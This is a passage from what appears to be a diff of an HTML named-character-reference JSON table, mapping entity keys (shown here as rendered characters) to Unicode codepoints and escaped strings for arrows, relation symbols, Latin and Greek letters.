}, - "⤎": { "codepoints": [10510], "characters": "\u290E" }, - "≦": { "codepoints": [8806], "characters": "\u2266" }, - "⪋": { "codepoints": [10891], "characters": "\u2A8B" }, - "⥢": { "codepoints": [10594], "characters": "\u2962" }, - "ĺ": { "codepoints": [314], "characters": "\u013A" }, - "⦴": { "codepoints": [10676], "characters": "\u29B4" }, - "ℒ": { "codepoints": [8466], "characters": "\u2112" }, - "λ": { "codepoints": [955], "characters": "\u03BB" }, - "⟨": { "codepoints": [10216], "characters": "\u27E8" }, - "⦑": { "codepoints": [10641], "characters": "\u2991" }, - "⟨": { "codepoints": [10216], "characters": "\u27E8" }, - "⪅": { "codepoints": [10885], "characters": "\u2A85" }, - "«": { "codepoints": [171], "characters": "\u00AB" }, - "«": { "codepoints": [171], "characters": "\u00AB" }, - "←": { "codepoints": [8592], "characters": "\u2190" }, - "⇤": { "codepoints": [8676], "characters": "\u21E4" }, - "⤟": { "codepoints": [10527], "characters": "\u291F" }, - "⤝": { "codepoints": [10525], "characters": "\u291D" }, - "↩": { "codepoints": [8617], "characters": "\u21A9" }, - "↫": { "codepoints": [8619], "characters": "\u21AB" }, - "⤹": { "codepoints": [10553], "characters": "\u2939" }, - "⥳": { "codepoints": [10611], "characters": "\u2973" }, - "↢": { "codepoints": [8610], "characters": "\u21A2" }, - "⪫": { "codepoints": [10923], "characters": "\u2AAB" }, - "⤙": { "codepoints": [10521], "characters": "\u2919" }, - "⪭": { "codepoints": [10925], "characters": "\u2AAD" }, - "⪭︀": { "codepoints": [10925, 65024], "characters": "\u2AAD\uFE00" }, - "⤌": { "codepoints": [10508], "characters": "\u290C" }, - "❲": { "codepoints": [10098], "characters": "\u2772" }, - "{": { "codepoints": [123], "characters": "\u007B" }, - "[": { "codepoints": [91], "characters": "\u005B" }, - "⦋": { "codepoints": [10635], "characters": "\u298B" }, - "⦏": { "codepoints": [10639], "characters": "\u298F" }, - "⦍": { "codepoints": [10637], "characters": "\u298D" }, - "ľ": { "codepoints": [318], "characters": "\u013E" }, - "ļ": { "codepoints": [316], "characters": "\u013C" }, - "⌈": { "codepoints": [8968], "characters": "\u2308" }, - "{": { "codepoints": [123], "characters": "\u007B" }, - "л": { "codepoints": [1083], "characters": "\u043B" }, - "⤶": { "codepoints": [10550], "characters": "\u2936" }, - "“": { "codepoints": [8220], "characters": "\u201C" }, - "„": { "codepoints": [8222], "characters": "\u201E" }, - "⥧": { "codepoints": [10599], "characters": "\u2967" }, - "⥋": { "codepoints": [10571], "characters": "\u294B" }, - "↲": { "codepoints": [8626], "characters": "\u21B2" }, - "≤": { "codepoints": [8804], "characters": "\u2264" }, - "←": { "codepoints": [8592], "characters": "\u2190" }, - "↢": { "codepoints": [8610], "characters": "\u21A2" }, - "↽": { "codepoints": [8637], "characters": "\u21BD" }, - "↼": { "codepoints": [8636], "characters": "\u21BC" }, - "⇇": { "codepoints": [8647], "characters": "\u21C7" }, - "↔": { "codepoints": [8596], "characters": "\u2194" }, - "⇆": { "codepoints": [8646], "characters": "\u21C6" }, - "⇋": { "codepoints": [8651], "characters": "\u21CB" }, - "↭": { "codepoints": [8621], "characters": "\u21AD" }, - "⋋": { "codepoints": [8907], "characters": "\u22CB" }, - "⋚": { "codepoints": [8922], "characters": "\u22DA" }, - "≤": { "codepoints": [8804], "characters": "\u2264" }, - "≦": { "codepoints": [8806], "characters": "\u2266" }, - "⩽": { "codepoints": [10877], "characters": "\u2A7D" }, - "⩽": { "codepoints": [10877], "characters": "\u2A7D" }, - "⪨": { "codepoints": [10920], "characters": "\u2AA8" }, - "⩿": { "codepoints": [10879], "characters": "\u2A7F" }, - "⪁": { "codepoints": [10881], "characters": "\u2A81" }, - "⪃": { "codepoints": [10883], "characters": "\u2A83" }, - "⋚︀": { "codepoints": [8922, 65024], "characters": "\u22DA\uFE00" }, - "⪓": { "codepoints": [10899], "characters": "\u2A93" }, - "⪅": { "codepoints": [10885], "characters": "\u2A85" }, - "⋖": { "codepoints": [8918], "characters": "\u22D6" }, - "⋚": { "codepoints": [8922], "characters": "\u22DA" }, - "⪋": { "codepoints": [10891], "characters": "\u2A8B" }, - "≶": { "codepoints": [8822], "characters": "\u2276" }, - "≲": { "codepoints": [8818], "characters": "\u2272" }, - "⥼": { "codepoints": [10620], "characters": "\u297C" }, - "⌊": { "codepoints": [8970], "characters": "\u230A" }, - "𝔩": { "codepoints": [120105], "characters": "\uD835\uDD29" }, - "≶": { "codepoints": [8822], "characters": "\u2276" }, - "⪑": { "codepoints": [10897], "characters": "\u2A91" }, - "↽": { "codepoints": [8637], "characters": "\u21BD" }, - "↼": { "codepoints": [8636], "characters": "\u21BC" }, - "⥪": { "codepoints": [10602], "characters": "\u296A" }, - "▄": { "codepoints": [9604], "characters": "\u2584" }, - "љ": { "codepoints": [1113], "characters": "\u0459" }, - "≪": { "codepoints": [8810], "characters": "\u226A" }, - "⇇": { "codepoints": [8647], "characters": "\u21C7" }, - "⌞": { "codepoints": [8990], "characters": "\u231E" }, - "⥫": { "codepoints": [10603], "characters": "\u296B" }, - "◺": { "codepoints": [9722], "characters": "\u25FA" }, - "ŀ": { "codepoints": [320], "characters": "\u0140" }, - "⎰": { "codepoints": [9136], "characters": "\u23B0" }, - "⎰": { "codepoints": [9136], "characters": "\u23B0" }, - "≨": { "codepoints": [8808], "characters": "\u2268" }, - "⪉": { "codepoints": [10889], "characters": "\u2A89" }, - "⪉": { "codepoints": [10889], "characters": "\u2A89" }, - "⪇": { "codepoints": [10887], "characters": "\u2A87" }, - "⪇": { "codepoints": [10887], "characters": "\u2A87" }, - "≨": { "codepoints": [8808], "characters": "\u2268" }, - "⋦": { "codepoints": [8934], "characters": "\u22E6" }, - "⟬": { "codepoints": [10220], "characters": "\u27EC" }, - "⇽": { "codepoints": [8701], "characters": "\u21FD" }, - "⟦": { "codepoints": [10214], "characters": "\u27E6" }, - "⟵": { "codepoints": [10229], "characters": "\u27F5" }, - "⟷": { "codepoints": [10231], "characters": "\u27F7" }, - "⟼": { "codepoints": [10236], "characters": "\u27FC" }, - "⟶": { "codepoints": [10230], "characters": "\u27F6" }, - "↫": { "codepoints": [8619], "characters": "\u21AB" }, - "↬": { "codepoints": [8620], "characters": "\u21AC" }, - "⦅": { "codepoints": [10629], "characters": "\u2985" }, - "𝕝": { "codepoints": [120157], "characters": "\uD835\uDD5D" }, - "⨭": { "codepoints": [10797], "characters": "\u2A2D" }, - "⨴": { "codepoints": [10804], "characters": "\u2A34" }, - "∗": { "codepoints": [8727], "characters": "\u2217" }, - "_": { "codepoints": [95], "characters": "\u005F" }, - "◊": { "codepoints": [9674], "characters": "\u25CA" }, - "◊": { "codepoints": [9674], "characters": "\u25CA" }, - "⧫": { "codepoints": [10731], "characters": "\u29EB" }, - "(": { "codepoints": [40], "characters": "\u0028" }, - "⦓": { "codepoints": [10643], "characters": "\u2993" }, - "⇆": { "codepoints": [8646], "characters": "\u21C6" }, - "⌟": { "codepoints": [8991], "characters": "\u231F" }, - "⇋": { "codepoints": [8651], "characters": "\u21CB" }, - "⥭": { "codepoints": [10605], "characters": "\u296D" }, - "‎": { "codepoints": [8206], "characters": "\u200E" }, - "⊿": { "codepoints": [8895], "characters": "\u22BF" }, - "‹": { "codepoints": [8249], "characters": "\u2039" }, - "𝓁": { "codepoints": [120001], "characters": "\uD835\uDCC1" }, - "↰": { "codepoints": [8624], "characters": "\u21B0" }, - "≲": { "codepoints": [8818], "characters": "\u2272" }, - "⪍": { "codepoints": [10893], "characters": "\u2A8D" }, - "⪏": { "codepoints": [10895], "characters": "\u2A8F" }, - "[": { "codepoints": [91], "characters": "\u005B" }, - "‘": { "codepoints": [8216], "characters": "\u2018" }, - "‚": { "codepoints": [8218], "characters": "\u201A" }, - "ł": { "codepoints": [322], "characters": "\u0142" }, - "<": { "codepoints": [60], "characters": "\u003C" }, - "<": { "codepoints": [60], "characters": "\u003C" }, - "⪦": { "codepoints": [10918], "characters": "\u2AA6" }, - "⩹": { "codepoints": [10873], "characters": "\u2A79" }, - "⋖": { "codepoints": [8918], "characters": "\u22D6" }, - "⋋": { "codepoints": [8907], "characters": "\u22CB" }, - "⋉": { "codepoints": [8905], "characters": "\u22C9" }, - "⥶": { "codepoints": [10614], "characters": "\u2976" }, - "⩻": { "codepoints": [10875], "characters": "\u2A7B" }, - "⦖": { "codepoints": [10646], "characters": "\u2996" }, - "◃": { "codepoints": [9667], "characters": "\u25C3" }, - "⊴": { "codepoints": [8884], "characters": "\u22B4" }, - "◂": { "codepoints": [9666], "characters": "\u25C2" }, - "⥊": { "codepoints": [10570], "characters": "\u294A" }, - "⥦": { "codepoints": [10598], "characters": "\u2966" }, - "≨︀": { "codepoints": [8808, 65024], "characters": "\u2268\uFE00" }, - "≨︀": { "codepoints": [8808, 65024], "characters": "\u2268\uFE00" }, - "∺": { "codepoints": [8762], "characters": "\u223A" }, - "¯": { "codepoints": [175], "characters": "\u00AF" }, - "¯": { "codepoints": [175], "characters": "\u00AF" }, - "♂": { "codepoints": [9794], "characters": "\u2642" }, - "✠": { "codepoints": [10016], "characters": "\u2720" }, - "✠": { "codepoints": [10016], "characters": "\u2720" }, - "↦": { "codepoints": [8614], "characters": "\u21A6" }, - "↦": { "codepoints": [8614], "characters": "\u21A6" }, - "↧": { "codepoints": [8615], "characters": "\u21A7" }, - "↤": { "codepoints": [8612], "characters": "\u21A4" }, - "↥": { "codepoints": [8613], "characters": "\u21A5" }, - "▮": { "codepoints": [9646], "characters": "\u25AE" }, - "⨩": { "codepoints": [10793], "characters": "\u2A29" }, - "м": { "codepoints": [1084], "characters": "\u043C" }, - "—": { "codepoints": [8212], "characters": "\u2014" }, - "∡": { "codepoints": [8737], "characters": "\u2221" }, - "𝔪": { "codepoints": [120106], "characters": "\uD835\uDD2A" }, - "℧": { "codepoints": [8487], "characters": "\u2127" }, - "µ": { "codepoints": [181], "characters": "\u00B5" }, - "µ": { "codepoints": [181], "characters": "\u00B5" }, - "∣": { "codepoints": [8739], "characters": "\u2223" }, - "*": { "codepoints": [42], "characters": "\u002A" }, - "⫰": { "codepoints": [10992], "characters": "\u2AF0" }, - "·": { "codepoints": [183], "characters": "\u00B7" }, - "·": { "codepoints": [183], "characters": "\u00B7" }, - "−": { "codepoints": [8722], "characters": "\u2212" }, - "⊟": { "codepoints": [8863], "characters": "\u229F" }, - "∸": { "codepoints": [8760], "characters": "\u2238" }, - "⨪": { "codepoints": [10794], "characters": "\u2A2A" }, - "⫛": { "codepoints": [10971], "characters": "\u2ADB" }, - "…": { "codepoints": [8230], "characters": "\u2026" }, - "∓": { "codepoints": [8723], "characters": "\u2213" }, - "⊧": { "codepoints": [8871], "characters": "\u22A7" }, - "𝕞": { "codepoints": [120158], "characters": "\uD835\uDD5E" }, - "∓": { "codepoints": [8723], "characters": "\u2213" }, - "𝓂": { "codepoints": [120002], "characters": "\uD835\uDCC2" }, - "∾": { "codepoints": [8766], "characters": "\u223E" }, - "μ": { "codepoints": [956], "characters": "\u03BC" }, - "⊸": { "codepoints": [8888], "characters": "\u22B8" }, - "⊸": { "codepoints": [8888], "characters": "\u22B8" }, - "⋙̸": { "codepoints": [8921, 824], "characters": "\u22D9\u0338" }, - "≫⃒": { "codepoints": [8811, 8402], "characters": "\u226B\u20D2" }, - "≫̸": { "codepoints": [8811, 824], "characters": "\u226B\u0338" }, - "⇍": { "codepoints": [8653], "characters": "\u21CD" }, - "⇎": { "codepoints": [8654], "characters": "\u21CE" }, - "⋘̸": { "codepoints": [8920, 824], "characters": "\u22D8\u0338" }, - "≪⃒": { "codepoints": [8810, 8402], "characters": "\u226A\u20D2" }, - "≪̸": { "codepoints": [8810, 824], "characters": "\u226A\u0338" }, - "⇏": { "codepoints": [8655], "characters": "\u21CF" }, - "⊯": { "codepoints": [8879], "characters": "\u22AF" }, - "⊮": { "codepoints": [8878], "characters": "\u22AE" }, - "∇": { "codepoints": [8711], "characters": "\u2207" }, - "ń": { "codepoints": [324], "characters": "\u0144" }, - "∠⃒": { "codepoints": [8736, 8402], "characters": "\u2220\u20D2" }, - "≉": { "codepoints": [8777], "characters": "\u2249" }, - "⩰̸": { "codepoints": [10864, 824], "characters": "\u2A70\u0338" }, - "≋̸": { "codepoints": [8779, 824], "characters": "\u224B\u0338" }, - "ʼn": { "codepoints": [329], "characters": "\u0149" }, - "≉": { "codepoints": [8777], "characters": "\u2249" }, - "♮": { "codepoints": [9838], "characters": "\u266E" }, - "♮": { "codepoints": [9838], "characters": "\u266E" }, - "ℕ": { "codepoints": [8469], "characters": "\u2115" }, - " ": { "codepoints": [160], "characters": "\u00A0" }, - " ": { "codepoints": [160], "characters": "\u00A0" }, - "≎̸": { "codepoints": [8782, 824], "characters": "\u224E\u0338" }, - "≏̸": { "codepoints": [8783, 824], "characters": "\u224F\u0338" }, - "⩃": { "codepoints": [10819], "characters": "\u2A43" }, - "ň": { "codepoints": [328], "characters": "\u0148" }, - "ņ": { "codepoints": [326], "characters": "\u0146" }, - "≇": { "codepoints": [8775], "characters": "\u2247" }, - "⩭̸": { "codepoints": [10861, 824], "characters": "\u2A6D\u0338" }, - "⩂": { "codepoints": [10818], "characters": "\u2A42" }, - "н": { "codepoints": [1085], "characters": "\u043D" }, - "–": { "codepoints": [8211], "characters": "\u2013" }, - "≠": { "codepoints": [8800], "characters": "\u2260" }, - "⇗": { "codepoints": [8663], "characters": "\u21D7" }, - "⤤": { "codepoints": [10532], "characters": "\u2924" }, - "↗": { "codepoints": [8599], "characters": "\u2197" }, - "↗": { "codepoints": [8599], "characters": "\u2197" }, - "≐̸": { "codepoints": [8784, 824], "characters": "\u2250\u0338" }, - "≢": { "codepoints": [8802], "characters": "\u2262" }, - "⤨": { "codepoints": [10536], "characters": "\u2928" }, - "≂̸": { "codepoints": [8770, 824], "characters": "\u2242\u0338" }, - "∄": { "codepoints": [8708], "characters": "\u2204" }, - "∄": { "codepoints": [8708], "characters": "\u2204" }, - "𝔫": { "codepoints": [120107], "characters": "\uD835\uDD2B" }, - "≧̸": { "codepoints": [8807, 824], "characters": "\u2267\u0338" }, - "≱": { "codepoints": [8817], "characters": "\u2271" }, - "≱": { "codepoints": [8817], "characters": "\u2271" }, - "≧̸": { "codepoints": [8807, 824], "characters": "\u2267\u0338" }, - "⩾̸": { "codepoints": [10878, 824], "characters": "\u2A7E\u0338" }, - "⩾̸": { "codepoints": [10878, 824], "characters": "\u2A7E\u0338" }, - "≵": { "codepoints": [8821], "characters": "\u2275" }, - "≯": { "codepoints": [8815], "characters": "\u226F" }, - "≯": { "codepoints": [8815], "characters": "\u226F" }, - "⇎": { "codepoints": [8654], "characters": "\u21CE" }, - "↮": { "codepoints": [8622], "characters": "\u21AE" }, - "⫲": { "codepoints": [10994], "characters": "\u2AF2" }, - "∋": { "codepoints": [8715], "characters": "\u220B" }, - "⋼": { "codepoints": [8956], "characters": "\u22FC" }, - "⋺": { "codepoints": [8954], "characters": "\u22FA" }, - "∋": { "codepoints": [8715], "characters": "\u220B" }, - "њ": { "codepoints": [1114], "characters": "\u045A" }, - "⇍": { "codepoints": [8653], "characters": "\u21CD" }, - "≦̸": { "codepoints": [8806, 824], "characters": "\u2266\u0338" }, - "↚": { "codepoints": [8602], "characters": "\u219A" }, - "‥": { "codepoints": [8229], "characters": "\u2025" }, - "≰": { "codepoints": [8816], "characters": "\u2270" }, - "↚": { "codepoints": [8602], "characters": "\u219A" }, - "↮": { "codepoints": [8622], "characters": "\u21AE" }, - "≰": { "codepoints": [8816], "characters": "\u2270" }, - "≦̸": { "codepoints": [8806, 824], "characters": "\u2266\u0338" }, - "⩽̸": { "codepoints": [10877, 824], "characters": "\u2A7D\u0338" }, - "⩽̸": { "codepoints": [10877, 824], "characters": "\u2A7D\u0338" }, - "≮": { "codepoints": [8814], "characters": "\u226E" }, - "≴": { "codepoints": [8820], "characters": "\u2274" }, - "≮": { "codepoints": [8814], "characters": "\u226E" }, - "⋪": { "codepoints": [8938], "characters": "\u22EA" }, - "⋬": { "codepoints": [8940], "characters": "\u22EC" }, - "∤": { "codepoints": [8740], "characters": "\u2224" }, - "𝕟": { "codepoints": [120159], "characters": "\uD835\uDD5F" }, - "¬": { "codepoints": [172], "characters": "\u00AC" }, - "¬": { "codepoints": [172], "characters": "\u00AC" }, - "∉": { "codepoints": [8713], "characters": "\u2209" }, - "⋹̸": { "codepoints": [8953, 824], "characters": "\u22F9\u0338" }, - "⋵̸": { "codepoints": [8949, 824], "characters": "\u22F5\u0338" }, - "∉": { "codepoints": [8713], "characters": "\u2209" }, - "⋷": { "codepoints": [8951], "characters": "\u22F7" }, - "⋶": { "codepoints": [8950], "characters": "\u22F6" }, - "∌": { "codepoints": [8716], "characters": "\u220C" }, - "∌": { "codepoints": [8716], "characters": "\u220C" }, - "⋾": { "codepoints": [8958], "characters": "\u22FE" }, - "⋽": { "codepoints": [8957], "characters": "\u22FD" }, - "∦": { "codepoints": [8742], "characters": "\u2226" }, - "∦": { "codepoints": [8742], "characters": "\u2226" }, - "⫽⃥": { "codepoints": [11005, 8421], "characters": "\u2AFD\u20E5" }, - "∂̸": { "codepoints": [8706, 824], "characters": "\u2202\u0338" }, - "⨔": { "codepoints": [10772], "characters": "\u2A14" }, - "⊀": { "codepoints": [8832], "characters": "\u2280" }, - "⋠": { "codepoints": [8928], "characters": "\u22E0" }, - "⪯̸": { "codepoints": [10927, 824], "characters": "\u2AAF\u0338" }, - "⊀": { "codepoints": [8832], "characters": "\u2280" }, - "⪯̸": { "codepoints": [10927, 824], "characters": "\u2AAF\u0338" }, - "⇏": { "codepoints": [8655], "characters": "\u21CF" }, - "↛": { "codepoints": [8603], "characters": "\u219B" }, - "⤳̸": { "codepoints": [10547, 824], "characters": "\u2933\u0338" }, - "↝̸": { "codepoints": [8605, 824], "characters": "\u219D\u0338" }, - "↛": { "codepoints": [8603], "characters": "\u219B" }, - "⋫": { "codepoints": [8939], "characters": "\u22EB" }, - "⋭": { "codepoints": [8941], "characters": "\u22ED" }, - "⊁": { "codepoints": [8833], "characters": "\u2281" }, - "⋡": { "codepoints": [8929], "characters": "\u22E1" }, - "⪰̸": { "codepoints": [10928, 824], "characters": "\u2AB0\u0338" }, - "𝓃": { "codepoints": [120003], "characters": "\uD835\uDCC3" }, - "∤": { "codepoints": [8740], "characters": "\u2224" }, - "∦": { "codepoints": [8742], "characters": "\u2226" }, - "≁": { "codepoints": [8769], "characters": "\u2241" }, - "≄": { "codepoints": [8772], "characters": "\u2244" }, - "≄": { "codepoints": [8772], "characters": "\u2244" }, - "∤": { "codepoints": [8740], "characters": "\u2224" }, - "∦": { "codepoints": [8742], "characters": "\u2226" }, - "⋢": { "codepoints": [8930], "characters": "\u22E2" }, - "⋣": { "codepoints": [8931], "characters": "\u22E3" }, - "⊄": { "codepoints": [8836], "characters": "\u2284" }, - "⫅̸": { "codepoints": [10949, 824], "characters": "\u2AC5\u0338" }, - "⊈": { "codepoints": [8840], "characters": "\u2288" }, - "⊂⃒": { "codepoints": [8834, 8402], "characters": "\u2282\u20D2" }, - "⊈": { "codepoints": [8840], "characters": "\u2288" }, - "⫅̸": { "codepoints": [10949, 824], "characters": "\u2AC5\u0338" }, - "⊁": { "codepoints": [8833], "characters": "\u2281" }, - "⪰̸": { "codepoints": [10928, 824], "characters": "\u2AB0\u0338" }, - "⊅": { "codepoints": [8837], "characters": "\u2285" }, - "⫆̸": { "codepoints": [10950, 824], "characters": "\u2AC6\u0338" }, - "⊉": { "codepoints": [8841], "characters": "\u2289" }, - "⊃⃒": { "codepoints": [8835, 8402], "characters": "\u2283\u20D2" }, - "⊉": { "codepoints": [8841], "characters": "\u2289" }, - "⫆̸": { "codepoints": [10950, 824], "characters": "\u2AC6\u0338" }, - "≹": { "codepoints": [8825], "characters": "\u2279" }, - "ñ": { "codepoints": [241], "characters": "\u00F1" }, - "ñ": { "codepoints": [241], "characters": "\u00F1" }, - "≸": { "codepoints": [8824], "characters": "\u2278" }, - "⋪": { "codepoints": [8938], "characters": "\u22EA" }, - "⋬": { "codepoints": [8940], "characters": "\u22EC" }, - "⋫": { "codepoints": [8939], "characters": "\u22EB" }, - "⋭": { "codepoints": [8941], "characters": "\u22ED" }, - "ν": { "codepoints": [957], "characters": "\u03BD" }, - "#": { "codepoints": [35], "characters": "\u0023" }, - "№": { "codepoints": [8470], "characters": "\u2116" }, - " ": { "codepoints": [8199], "characters": "\u2007" }, - "⊭": { "codepoints": [8877], "characters": "\u22AD" }, - "⤄": { "codepoints": [10500], "characters": "\u2904" }, - "≍⃒": { "codepoints": [8781, 8402], "characters": "\u224D\u20D2" }, - "⊬": { "codepoints": [8876], "characters": "\u22AC" }, - "≥⃒": { "codepoints": [8805, 8402], "characters": "\u2265\u20D2" }, - ">⃒": { "codepoints": [62, 8402], "characters": "\u003E\u20D2" }, - "⧞": { "codepoints": [10718], "characters": "\u29DE" }, - "⤂": { "codepoints": [10498], "characters": "\u2902" }, - "≤⃒": { "codepoints": [8804, 8402], "characters": "\u2264\u20D2" }, - "<⃒": { "codepoints": [60, 8402], "characters": "\u003C\u20D2" }, - "⊴⃒": { "codepoints": [8884, 8402], "characters": "\u22B4\u20D2" }, - "⤃": { "codepoints": [10499], "characters": "\u2903" }, - "⊵⃒": { "codepoints": [8885, 8402], "characters": "\u22B5\u20D2" }, - "∼⃒": { "codepoints": [8764, 8402], "characters": "\u223C\u20D2" }, - "⇖": { "codepoints": [8662], "characters": "\u21D6" }, - "⤣": { "codepoints": [10531], "characters": "\u2923" }, - "↖": { "codepoints": [8598], "characters": "\u2196" }, - "↖": { "codepoints": [8598], "characters": "\u2196" }, - "⤧": { "codepoints": [10535], "characters": "\u2927" }, - "Ⓢ": { "codepoints": [9416], "characters": "\u24C8" }, - "ó": { "codepoints": [243], "characters": "\u00F3" }, - "ó": { "codepoints": [243], "characters": "\u00F3" }, - "⊛": { "codepoints": [8859], "characters": "\u229B" }, - "⊚": { "codepoints": [8858], "characters": "\u229A" }, - "ô": { "codepoints": [244], "characters": "\u00F4" }, - "ô": { "codepoints": [244], "characters": "\u00F4" }, - "о": { "codepoints": [1086], "characters": "\u043E" }, - "⊝": { "codepoints": [8861], "characters": "\u229D" }, - "ő": { "codepoints": [337], "characters": "\u0151" }, - "⨸": { "codepoints": [10808], "characters": "\u2A38" }, - "⊙": { "codepoints": [8857], "characters": "\u2299" }, - "⦼": { "codepoints": [10684], "characters": "\u29BC" }, - "œ": { "codepoints": [339], "characters": "\u0153" }, - "⦿": { "codepoints": [10687], "characters": "\u29BF" }, - "𝔬": { "codepoints": [120108], "characters": "\uD835\uDD2C" }, - "˛": { "codepoints": [731], "characters": "\u02DB" }, - "ò": { "codepoints": [242], "characters": "\u00F2" }, - "ò": { "codepoints": [242], "characters": "\u00F2" }, - "⧁": { "codepoints": [10689], "characters": "\u29C1" }, - "⦵": { "codepoints": [10677], "characters": "\u29B5" }, - "Ω": { "codepoints": [937], "characters": "\u03A9" }, - "∮": { "codepoints": [8750], "characters": "\u222E" }, - "↺": { "codepoints": [8634], "characters": "\u21BA" }, - "⦾": { "codepoints": [10686], "characters": "\u29BE" }, - "⦻": { "codepoints": [10683], "characters": "\u29BB" }, - "‾": { "codepoints": [8254], "characters": "\u203E" }, - "⧀": { "codepoints": [10688], "characters": "\u29C0" }, - "ō": { "codepoints": [333], "characters": "\u014D" }, - "ω": { "codepoints": [969], "characters": "\u03C9" }, - "ο": { "codepoints": [959], "characters": "\u03BF" }, - "⦶": { "codepoints": [10678], "characters": "\u29B6" }, - "⊖": { "codepoints": [8854], "characters": "\u2296" }, - "𝕠": { "codepoints": [120160], "characters": "\uD835\uDD60" }, - "⦷": { "codepoints": [10679], "characters": "\u29B7" }, - "⦹": { "codepoints": [10681], "characters": "\u29B9" }, - "⊕": { "codepoints": [8853], "characters": "\u2295" }, - "∨": { "codepoints": [8744], "characters": "\u2228" }, - "↻": { "codepoints": [8635], "characters": "\u21BB" }, - "⩝": { "codepoints": [10845], "characters": "\u2A5D" }, - "ℴ": { "codepoints": [8500], "characters": "\u2134" }, - "ℴ": { "codepoints": [8500], "characters": "\u2134" }, - "ª": { "codepoints": [170], "characters": "\u00AA" }, - "ª": { "codepoints": [170], "characters": "\u00AA" }, - "º": { "codepoints": [186], "characters": "\u00BA" }, - "º": { "codepoints": [186], "characters": "\u00BA" }, - "⊶": { "codepoints": [8886], "characters": "\u22B6" }, - "⩖": { "codepoints": [10838], "characters": "\u2A56" }, - "⩗": { "codepoints": [10839], "characters": "\u2A57" }, - "⩛": { "codepoints": [10843], "characters": "\u2A5B" }, - "ℴ": { "codepoints": [8500], "characters": "\u2134" }, - "ø": { "codepoints": [248], "characters": "\u00F8" }, - "ø": { "codepoints": [248], "characters": "\u00F8" }, - "⊘": { "codepoints": [8856], "characters": "\u2298" }, - "õ": { "codepoints": [245], "characters": "\u00F5" }, - "õ": { "codepoints": [245], "characters": "\u00F5" }, - "⊗": { "codepoints": [8855], "characters": "\u2297" }, - "⨶": { "codepoints": [10806], "characters": "\u2A36" }, - "ö": { "codepoints": [246], "characters": "\u00F6" }, - "ö": { "codepoints": [246], "characters": "\u00F6" }, - "⌽": { "codepoints": [9021], "characters": "\u233D" }, - "∥": { "codepoints": [8741], "characters": "\u2225" }, - "¶": { "codepoints": [182], "characters": "\u00B6" }, - "¶": { "codepoints": [182], "characters": "\u00B6" }, - "∥": { "codepoints": [8741], "characters": "\u2225" }, - "⫳": { "codepoints": [10995], "characters": "\u2AF3" }, - "⫽": { "codepoints": [11005], "characters": "\u2AFD" }, - "∂": { "codepoints": [8706], "characters": "\u2202" }, - "п": { "codepoints": [1087], "characters": "\u043F" }, - "%": { "codepoints": [37], "characters": "\u0025" }, - ".": { "codepoints": [46], "characters": "\u002E" }, - "‰": { "codepoints": [8240], "characters": "\u2030" }, - "⊥": { "codepoints": [8869], "characters": "\u22A5" }, - "‱": { "codepoints": [8241], "characters": "\u2031" }, - "𝔭": { "codepoints": [120109], "characters": "\uD835\uDD2D" }, - "φ": { "codepoints": [966], "characters": "\u03C6" }, - "ϕ": { "codepoints": [981], "characters": "\u03D5" }, - "ℳ": { "codepoints": [8499], "characters": "\u2133" }, - "☎": { "codepoints": [9742], "characters": "\u260E" }, - "π": { "codepoints": [960], "characters": "\u03C0" }, - "⋔": { "codepoints": [8916], "characters": "\u22D4" }, - "ϖ": { "codepoints": [982], "characters": "\u03D6" }, - "ℏ": { "codepoints": [8463], "characters": "\u210F" }, - "ℎ": { "codepoints": [8462], "characters": "\u210E" }, - "ℏ": { "codepoints": [8463], "characters": "\u210F" }, - "+": { "codepoints": [43], "characters": "\u002B" }, - "⨣": { "codepoints": [10787], "characters": "\u2A23" }, - "⊞": { "codepoints": [8862], "characters": "\u229E" }, - "⨢": { "codepoints": [10786], "characters": "\u2A22" }, - "∔": { "codepoints": [8724], "characters": "\u2214" }, - "⨥": { "codepoints": [10789], "characters": "\u2A25" }, - "⩲": { "codepoints": [10866], "characters": "\u2A72" }, - "±": { "codepoints": [177], "characters": "\u00B1" }, - "±": { "codepoints": [177], "characters": "\u00B1" }, - "⨦": { "codepoints": [10790], "characters": "\u2A26" }, - "⨧": { "codepoints": [10791], "characters": "\u2A27" }, - "±": { "codepoints": [177], "characters": "\u00B1" }, - "⨕": { "codepoints": [10773], "characters": "\u2A15" }, - "𝕡": { "codepoints": [120161], "characters": "\uD835\uDD61" }, - "£": { "codepoints": [163], "characters": "\u00A3" }, - "£": { "codepoints": [163], "characters": "\u00A3" }, - "≺": { "codepoints": [8826], "characters": "\u227A" }, - "⪳": { "codepoints": [10931], "characters": "\u2AB3" }, - "⪷": { "codepoints": [10935], "characters": "\u2AB7" }, - "≼": { "codepoints": [8828], "characters": "\u227C" }, - "⪯": { "codepoints": [10927], "characters": "\u2AAF" }, - "≺": { "codepoints": [8826], "characters": "\u227A" }, - "⪷": { "codepoints": [10935], "characters": "\u2AB7" }, - "≼": { "codepoints": [8828], "characters": "\u227C" }, - "⪯": { "codepoints": [10927], "characters": "\u2AAF" }, - "⪹": { "codepoints": [10937], "characters": "\u2AB9" }, - "⪵": { "codepoints": [10933], "characters": "\u2AB5" }, - "⋨": { "codepoints": [8936], "characters": "\u22E8" }, - "≾": { "codepoints": [8830], "characters": "\u227E" }, - "′": { "codepoints": [8242], "characters": "\u2032" }, - "ℙ": { "codepoints": [8473], "characters": "\u2119" }, - "⪵": { "codepoints": [10933], "characters": "\u2AB5" }, - "⪹": { "codepoints": [10937], "characters": "\u2AB9" }, - "⋨": { "codepoints": [8936], "characters": "\u22E8" }, - "∏": { "codepoints": [8719], "characters": "\u220F" }, - "⌮": { "codepoints": [9006], "characters": "\u232E" }, - "⌒": { "codepoints": [8978], "characters": "\u2312" }, - "⌓": { "codepoints": [8979], "characters": "\u2313" }, - "∝": { "codepoints": [8733], "characters": "\u221D" }, - "∝": { "codepoints": [8733], "characters": "\u221D" }, - "≾": { "codepoints": [8830], "characters": "\u227E" }, - "⊰": { "codepoints": [8880], "characters": "\u22B0" }, - "𝓅": { "codepoints": [120005], "characters": "\uD835\uDCC5" }, - "ψ": { "codepoints": [968], "characters": "\u03C8" }, - " ": { "codepoints": [8200], "characters": "\u2008" }, - "𝔮": { "codepoints": [120110], "characters": "\uD835\uDD2E" }, - "⨌": { "codepoints": [10764], "characters": "\u2A0C" }, - "𝕢": { "codepoints": [120162], "characters": "\uD835\uDD62" }, - "⁗": { "codepoints": [8279], "characters": "\u2057" }, - "𝓆": { "codepoints": [120006], "characters": "\uD835\uDCC6" }, - "ℍ": { "codepoints": [8461], "characters": "\u210D" }, - "⨖": { "codepoints": [10774], "characters": "\u2A16" }, - "?": { "codepoints": [63], "characters": "\u003F" }, - "≟": { "codepoints": [8799], 